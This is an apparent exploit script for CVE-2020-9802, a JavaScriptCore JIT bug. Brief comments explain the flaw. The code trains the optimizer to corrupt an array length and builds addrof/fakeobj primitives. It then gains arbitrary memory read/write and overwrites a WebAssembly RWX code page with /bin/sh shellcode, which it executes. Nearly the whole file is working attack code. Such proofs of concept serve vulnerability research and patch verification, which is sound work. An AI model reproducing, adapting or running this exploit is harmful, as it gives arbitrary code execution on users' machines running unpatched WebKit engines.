CVE-2020-9802.js

let convert = new ArrayBuffer(0x8)
let f64 = new Float64Array(convert)
let u32 = new Uint32Array(convert)
let BASE = 0x100000000

function i2f(x) {
    u32[0] = x % BASE
    u32[1] = (x - (x % BASE)) / BASE
    return f64[0]
}

function f2i(x) {
    f64[0] = x
    return u32[0] + BASE * u32[1]
}

function i2jsv(x) {
    u32[0] = (x % BASE)
    u32[1] = ((x - (x % BASE)) / BASE) - 0x10000
    return f64[0]
}

function hex(x) {
    return `0x${x.toString(16)}`
}

function d(x) {
    debug(describe(x))
}

function pf(x) {
    debug(hex(f2i(x)))
}

function ph(x) {
    debug(hex(x))
}

function pi(x) {
    debug(hex(f2i(x)))
}

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new ArrayBuffer(0x1000000)
    }
}

function makeJITFunc() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false
            }
        }
        return true
    }
    // Force JIT compilation.
    for (var i = 0; i < 1000; i++) {
        target(i)
    }
    for (var i = 0; i < 1000; i++) {
        target(i)
    }
    for (var i = 0; i < 1000; i++) {
        target(i)
    }
    return target
}

let noCoW = 13.37

let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6]
let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6]
let obj_arr = [{}, {}, {}, {}, {}, {}, {}]

function trigger_bug(arr, n) {
    // convert n from `float` to `int32`
    n = n | 0
    // use IntegerRangeOptimization to train
    // the profile into believing `n` is always
    // negative.
    if (n < 0) {
        // given:
        //   v: unchecked ArithNegate
        //   i: checked   ArithNegate
        //
        // will be optimized by CSE into:
        //
        //   v: unchecked ArithNegate
        //   i: unchecked ArithNegate

        let v = (-n) | 0
        // Math.abs(-2147483648) returns -2147483648
        // but informs the profile the number is positive
        let i = Math.abs(n)

        // `i` is believed to be [0, arr.length)
        // inside the if block
        if (i < arr.length) {
            // when overflowing -2147483648 to 8
            // no overflow happens as ArithAdd
            // was made unchecked beacause i is
            // always positive.
            if (i & 0x80000000) {
                i += -0x7ffffff9
            }

            // `i` is believed to be [0, arr.length)
            // inside the if block
            if (i > 0) {
                arr[i] = 1.04380972981885e-310
            }
        }
    }
}

const ITERATIONS = 10000000

debug("[+] optimizing vulnerable function...")
for (let i = 1; i <= ITERATIONS; i++) {
    let n = -4;
    if (i % 10000 == 0) {
        n = -2147483648;
    }
    trigger_bug(target, n);
    if (float_arr.length == 0x1337) {
        break;
    }
}

// check that the oob actually worked
if (float_arr.length == 0x1337) {
    debug("[+] length corruption succeeded")
} else {
    debug("[+] length corruption failed, length: " + float_arr.length)
    throw "oob not working"
}

const OVERLAP_OFFSET = 8;

function raw_addrof(o) {
    obj_arr[0] = o;
    return float_arr[OVERLAP_OFFSET];
}

function raw_fakeobj(addr) {
    float_arr[OVERLAP_OFFSET] = addr;
    return obj_arr[0];
}

function addrof(o) {
    return f2i(raw_addrof(o));
}

function fakeobj(addr) {
    return raw_fakeobj(i2f(addr));
}

if (0) {
    let t = {
        b: 42
    }
    let a = addrof(t)

    debug("[+] raw_addrof working: " + hex(a) + " !");

    if (fakeobj(addrof(t)) !== t) {
        throw "fakeobj not working"
    } else {
        debug("[+] raw_fakeobj working!")
    }
}

let rw_arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6]
rw_arr[0] = Math.random() // disable CopyOnWrite

let jscell_header = i2f(0x0108230700000000)

let container = {
    jscell_header: jscell_header,
    butterfly: rw_arr,
}

let container_addr = addrof(container)
let fake_header_addr = container_addr + 0x10

let fake_arr = fakeobj(fake_header_addr)

let legit_arr = rw_arr;
let results = [];
for (let i = 0; i < 2; i++) {
    let a = i == 0 ? fake_arr : legit_arr;
    results.push(a[0]);
}

jscell_header = results[0];
container.jscell_header = jscell_header;
debug("[+] leaked valid JSCell: " + hex(f2i(jscell_header)))

read8 = function(addr) {
    fake_arr[1] = i2f(addr)
    return f2i(rw_arr[0])
}

write8 = function(addr, v) {
    fake_arr[1] = i2f(addr)
    rw_arr[0] = i2f(v)
}

debug("[+] arbitrary read/write achieved!")

function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts(index) {
                print(utf8ToString(h, index));
            }
        }
    };

    var buffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 137, 128, 128, 128, 0, 2,
        96, 1, 127, 1, 127, 96, 0, 0, 2, 140, 128, 128, 128, 0, 1, 3, 101, 110, 118, 4, 112, 117,
        116, 115, 0, 0, 3, 130, 128, 128, 128, 0, 1, 1, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5,
        131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 146, 128, 128, 128, 0, 2, 6,
        109, 101, 109, 111, 114, 121, 2, 0, 5, 104, 101, 108, 108, 111, 0, 1, 10, 141, 128, 128,
        128, 0, 1, 135, 128, 128, 128, 0, 0, 65, 16, 16, 0, 26, 11, 11, 146, 128, 128, 128, 0, 1, 0,
        65, 16, 11, 12, 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 0
    ]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer), wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

debug("[+] compiling WASM function")
wasm_func = wasm_func()

let wasm_obj_addr = addrof(wasm_func);
debug("[+] WASM object address: " + hex(wasm_obj_addr))

let codeAddr = read8(wasm_obj_addr + 0x38)
let rwx_addr = read8(codeAddr)

debug("[+] rwx address: " + hex(rwx_addr))

function byte2dword(payload) {

    let sc = []
    let tmp = 0;
    let len = Math.ceil(payload.length / 6)
    for (let i = 0; i < len; i += 1) {
        tmp = 0;
        pow = 1;
        for (let j = 0; j < 6; j++) {
            let c = payload[i * 6 + j]
            if (c === undefined) {
                c = 0;
            }
            pow = j == 0 ? 1 : 256 * pow;
            tmp += c * pow;
        }
        tmp += 0xc000000000000;
        sc.push(tmp);
    }
    return sc;
}

function arb_write(addr, payload) {
    let sc = byte2dword(payload);
    for (let i = 0; i < sc.length; i++) {
        write8(addr + i * 6, sc[i]);
    }
}

// /bin/sh
var shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x6a, 0x42, 0x58, 0xfe, 0xc4,
0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05]

debug("[+] writing shellcode to rwx memory region")
arb_write(rwx_addr, shellcode);

debug("[+] triggering shellcode")
wasm_func();